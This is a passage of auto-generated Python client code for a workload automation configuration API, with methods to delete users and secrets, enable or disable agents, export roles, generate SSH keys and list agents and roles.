raise ValueError("Missing the required parameter `user` when calling `delete_run_as_user`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'user' in params:
path_params['user'] = params['user'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/runasuser/{agent}/{user}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_secret(self, name, **kwargs): # noqa: E501
"""Delete an existing secret # noqa: E501
Delete an existing secret from the secrets vault. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_secret(name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The name of the secret to update (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_secret_with_http_info(name, **kwargs) # noqa: E501
else:
(data) = self.delete_secret_with_http_info(name, **kwargs) # noqa: E501
return data
def delete_secret_with_http_info(self, name, **kwargs): # noqa: E501
"""Delete an existing secret # noqa: E501
Delete an existing secret from the secrets vault. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_secret_with_http_info(name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The name of the secret to update (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_secret" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'name' is set
if self.api_client.client_side_validation and ('name' not in params or
params['name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `name` when calling `delete_secret`") # noqa: E501
collection_formats = {}
path_params = {}
if 'name' in params:
path_params['name'] = params['name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/secret/{name}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_user(self, user, **kwargs): # noqa: E501
"""Delete user # noqa: E501
Delete user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_user(user, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user: The user name. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_user_with_http_info(user, **kwargs) # noqa: E501
else:
(data) = self.delete_user_with_http_info(user, **kwargs) # noqa: E501
return data
def delete_user_with_http_info(self, user, **kwargs): # noqa: E501
"""Delete user # noqa: E501
Delete user # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_user_with_http_info(user, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str user: The user name. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['user'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'user' is set
if self.api_client.client_side_validation and ('user' not in params or
params['user'] is None): # noqa: E501
raise ValueError("Missing the required parameter `user` when calling `delete_user`") # noqa: E501
collection_formats = {}
path_params = {}
if 'user' in params:
path_params['user'] = params['user'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/user/{user}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_zos_template(self, server, agent, template_name, **kwargs): # noqa: E501
"""Delete z/OS Template # noqa: E501
Delete z/OS Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_zos_template(server, agent, template_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The z/OS Template Name (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_zos_template_with_http_info(server, agent, template_name, **kwargs) # noqa: E501
else:
(data) = self.delete_zos_template_with_http_info(server, agent, template_name, **kwargs) # noqa: E501
return data
def delete_zos_template_with_http_info(self, server, agent, template_name, **kwargs): # noqa: E501
"""Delete z/OS Template # noqa: E501
Delete z/OS Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_zos_template_with_http_info(server, agent, template_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The z/OS Template Name (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'template_name'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_zos_template" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `delete_zos_template`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `delete_zos_template`") # noqa: E501
# verify the required parameter 'template_name' is set
if self.api_client.client_side_validation and ('template_name' not in params or
params['template_name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `template_name` when calling `delete_zos_template`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'template_name' in params:
path_params['templateName'] = params['template_name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/zostemplate/{templateName}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def disable_agent(self, server, agent, **kwargs): # noqa: E501
"""disable agent from the Server # noqa: E501
Disable an Agent. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.disable_agent(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected too. (required)
:param str agent: The Agent to be disabled. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.disable_agent_with_http_info(server, agent, **kwargs) # noqa: E501
else:
(data) = self.disable_agent_with_http_info(server, agent, **kwargs) # noqa: E501
return data
def disable_agent_with_http_info(self, server, agent, **kwargs): # noqa: E501
"""disable agent from the Server # noqa: E501
Disable an Agent. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.disable_agent_with_http_info(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected too. (required)
:param str agent: The Agent to be disabled. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method disable_agent" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `disable_agent`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `disable_agent`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/disable', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def enable_agent(self, server, agent, **kwargs): # noqa: E501
"""enable agent from the Server # noqa: E501
Enable an Agent. This command does not install or configure the agent. It only enable existing agent in the system. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.enable_agent(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected too. (required)
:param str agent: The Agent to be enabled. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.enable_agent_with_http_info(server, agent, **kwargs) # noqa: E501
else:
(data) = self.enable_agent_with_http_info(server, agent, **kwargs) # noqa: E501
return data
def enable_agent_with_http_info(self, server, agent, **kwargs): # noqa: E501
"""enable agent from the Server # noqa: E501
Enable an Agent. This command does not install or configure the agent. It only enable existing agent in the system. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.enable_agent_with_http_info(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected too. (required)
:param str agent: The Agent to be enabled. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method enable_agent" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `enable_agent`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `enable_agent`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/enable', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def export_role(self, role, **kwargs): # noqa: E501
"""Export Authorization Role # noqa: E501
Export Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.export_role(role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: The Role name. (required)
:return: RoleDataFull
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.export_role_with_http_info(role, **kwargs) # noqa: E501
else:
(data) = self.export_role_with_http_info(role, **kwargs) # noqa: E501
return data
def export_role_with_http_info(self, role, **kwargs): # noqa: E501
"""Export Authorization Role # noqa: E501
Export Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.export_role_with_http_info(role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: The Role name. (required)
:return: RoleDataFull
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['role'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method export_role" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'role' is set
if self.api_client.client_side_validation and ('role' not in params or
params['role'] is None): # noqa: E501
raise ValueError("Missing the required parameter `role` when calling `export_role`") # noqa: E501
collection_formats = {}
path_params = {}
if 'role' in params:
path_params['role'] = params['role'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/role/{role}/export', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='RoleDataFull', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def generate_mft_rsa_ssh_key(self, server, agent, ssh_key_properties, **kwargs): # noqa: E501
"""Generate RSA SSH Key # noqa: E501
Generate RSA SSH Key pair for SFTP account authentication # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.generate_mft_rsa_ssh_key(server, agent, ssh_key_properties, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param SshKeyProperties ssh_key_properties: Ssh Key pair properites (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.generate_mft_rsa_ssh_key_with_http_info(server, agent, ssh_key_properties, **kwargs) # noqa: E501
else:
(data) = self.generate_mft_rsa_ssh_key_with_http_info(server, agent, ssh_key_properties, **kwargs) # noqa: E501
return data
def generate_mft_rsa_ssh_key_with_http_info(self, server, agent, ssh_key_properties, **kwargs): # noqa: E501
"""Generate RSA SSH Key # noqa: E501
Generate RSA SSH Key pair for SFTP account authentication # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.generate_mft_rsa_ssh_key_with_http_info(server, agent, ssh_key_properties, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param SshKeyProperties ssh_key_properties: Ssh Key pair properites (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'ssh_key_properties'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method generate_mft_rsa_ssh_key" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `generate_mft_rsa_ssh_key`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `generate_mft_rsa_ssh_key`") # noqa: E501
# verify the required parameter 'ssh_key_properties' is set
if self.api_client.client_side_validation and ('ssh_key_properties' not in params or
params['ssh_key_properties'] is None): # noqa: E501
raise ValueError("Missing the required parameter `ssh_key_properties` when calling `generate_mft_rsa_ssh_key`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'ssh_key_properties' in params:
body_params = params['ssh_key_properties']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/ssh/key', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_agent_parameters(self, server, agent, **kwargs): # noqa: E501
"""get agent parameters # noqa: E501
Get all the parameters of the specified Agent. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_agent_parameters(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected to. (required)
:param str agent: The name of the agent to query. (required)
:param bool extended_data: True to return more agent parameters. HIDDEN
:return: KeyValueListResult
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_agent_parameters_with_http_info(server, agent, **kwargs) # noqa: E501
else:
(data) = self.get_agent_parameters_with_http_info(server, agent, **kwargs) # noqa: E501
return data
def get_agent_parameters_with_http_info(self, server, agent, **kwargs): # noqa: E501
"""get agent parameters # noqa: E501
Get all the parameters of the specified Agent. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_agent_parameters_with_http_info(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected to. (required)
:param str agent: The name of the agent to query. (required)
:param bool extended_data: True to return more agent parameters. HIDDEN
:return: KeyValueListResult
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'extended_data'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_agent_parameters" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `get_agent_parameters`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `get_agent_parameters`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
if 'extended_data' in params:
query_params.append(('extendedData', params['extended_data'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/params', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='KeyValueListResult', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_agents(self, server, **kwargs): # noqa: E501
"""get Server agents # noqa: E501
Get all the agents of the specified Server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_agents(server, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server to query. Optionally you can filter agent name of host or alias of the Agent (required)
:param str agent: Optionally case insensitive agent name filter of host or alias of the Agent. `ctm server:agents::get Server AgentName` returns all agents which names start with `agentname`
:return: AgentDetailsList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_agents_with_http_info(server, **kwargs) # noqa: E501
else:
(data) = self.get_agents_with_http_info(server, **kwargs) # noqa: E501
return data
def get_agents_with_http_info(self, server, **kwargs): # noqa: E501
"""get Server agents # noqa: E501
Get all the agents of the specified Server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_agents_with_http_info(server, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server to query. Optionally you can filter agent name of host or alias of the Agent (required)
:param str agent: Optionally case insensitive agent name filter of host or alias of the Agent. `ctm server:agents::get Server AgentName` returns all agents which names start with `agentname`
:return: AgentDetailsList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_agents" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `get_agents`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
query_params = []
if 'agent' in params:
query_params.append(('agent', params['agent'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agents', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='AgentDetailsList', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_all_authorization_roles(self, **kwargs): # noqa: E501
"""Get Authorization Roles # noqa: E501
Get Authorization Roles # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_all_authorization_roles(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: The Role name.
:param str description: The Role description.
:return: RoleHeaderList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_all_authorization_roles_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_all_authorization_roles_with_http_info(**kwargs) # noqa: E501
return data
def get_all_authorization_roles_with_http_info(self, **kwargs): # noqa: E501
"""Get Authorization Roles # noqa: E501
Get Authorization Roles # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_all_authorization_roles_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: The Role name.
:param str description: The Role description.
:return: RoleHeaderList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['role', 'description'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_all_authorization_roles" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'role' in params:
query_params.append(('role', params['role'])) # noqa: E501
if 'description' in params:
query_params.append(('description', params['description'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/roles', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='RoleHeaderList', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_all_organization_groups(self, **kwargs): # noqa: E501
"""Get All organization groups # noqa: E501
Get All organization groups # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_all_organization_groups(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str organizationgroup: The organization group name.
:return: list[str]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_all_organization_groups_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_all_organization_groups_with_http_info(**kwargs) # noqa: E501
return data
def get_all_organization_groups_with_http_info(self, **kwargs): # noqa: E501
"""Get All organization groups # noqa: E501
Get All organization groups # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_all_organization_groups_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str organizationgroup: The organization group name.
:return: list[str]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['organizationgroup'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_all_organization_groups" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'organizationgroup' in params:
query_params.append(('organizationgroup', params['organizationgroup'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/organizationgroups', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[str]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_all_roles_associated_with_organization_group(self, organizationgroup, **kwargs): # noqa: E501
"""Get Authorization Roles associated with an organization group # noqa: E501
Get Authorization Roles associated with an organization group # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_all_roles_associated_with_organization_group(organizationgroup, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str organizationgroup: Name of organization group (required)
:param str role: The Role name.
:return: list[str]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_all_roles_associated_with_organization_group_with_http_info(organizationgroup, **kwargs) # noqa: E501
else:
(data) = self.get_all_roles_associated_with_organization_group_with_http_info(organizationgroup, **kwargs) # noqa: E501
return data
